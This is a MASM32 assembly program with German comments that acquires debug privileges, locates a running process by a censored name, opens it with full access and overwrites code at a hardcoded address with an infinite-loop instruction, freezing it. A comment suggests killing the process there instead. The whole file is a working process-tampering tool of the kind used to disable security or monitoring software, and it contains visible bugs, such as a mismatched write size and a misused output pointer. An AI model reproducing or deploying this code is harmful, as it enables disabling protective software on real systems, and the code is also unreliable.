.386
.model flat, stdcall
option casemap :none
; include files
; ~~~~~~~~~~~~~
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\psapi.inc
includelib \masm32\lib\psapi.lib
include \masm32\include\advapi32.inc
includelib \masm32\lib\advapi32.lib
; libraries
; ~~~~~~~~~
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
; ?????????????????????????????????????????????????????????????????????
.code
start:
jmp @f
hInstance dd 0
hSnapshot dd 0
cmname db "zensiert.exe",0
error db "Fehler!",0
hExplorer dd 0
hProcess dd 0
ID dd 0
oldprotection dd 0
uProcess PROCESSENTRY32 <>
@@:
invoke AddDebugPrivileges
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
mov hSnapshot,eax
.if eax!=-1
mov uProcess.dwSize, sizeof uProcess
invoke Process32First, eax, ADDR uProcess
.while eax
lea edi,[uProcess.szExeFile]
push edi
lea esi,cmname ;<---name der Exe
xor ecx,ecx
compare_loop:
mov al,byte ptr [edi]
mov ah,byte ptr [esi]
.if al==0 || ah==0
mov eax,uProcess.th32ProcessID
mov hExplorer,eax
jmp next1
.endif
.if al!=ah
jmp @f
.endif
add edi,1
add esi,1
jmp compare_loop
@@:
pop edi
invoke Process32Next, [hSnapshot], ADDR uProcess
.endw
next1:
invoke CloseHandle,hSnapshot
.endif
; hier kann man auch einen killaufruf machen
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,hExplorer
.if eax!=0
mov hProcess,eax
invoke VirtualProtectEx,hProcess,77E41BBDh,1000h,PAGE_EXECUTE_READWRITE,addr oldprotection
.if eax!=0
jmp @f
patch dw 0feebh
@@:
invoke WriteProcessMemory,hProcess,77E41BBDh,offset patch,4,addr cmname
.endif
.else
invoke MessageBox,0,addr error,addr error,MB_ICONERROR
.endif
invoke ExitProcess,eax
; ?????????????????????????????????????????????????????????????????????
; ?????????????????????????????????????????????????????????????????????
; ?????????????????????????????????????????????????????????????????????
AddDebugPrivileges PROC
;**********************
LOCAL tkP:TOKEN_PRIVILEGES
LOCAL hToken :HANDLE
LOCAL CurProc :DWORD
.data
debug db "SeDebugPrivilege",0
.code
invoke GetCurrentProcess
mov CurProc,eax
lea eax,hToken
invoke OpenProcessToken,CurProc,TOKEN_ADJUST_PRIVILEGES,eax
lea eax,tkP.Privileges[0].Luid
invoke LookupPrivilegeValue,NULL,addr debug,eax
mov [tkP.PrivilegeCount],1
mov tkP.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
lea eax,tkP
invoke AdjustTokenPrivileges,hToken,FALSE,eax,0,NULL,0
invoke CloseHandle,[hToken]
mov eax,0
ret
AddDebugPrivileges ENDP
end start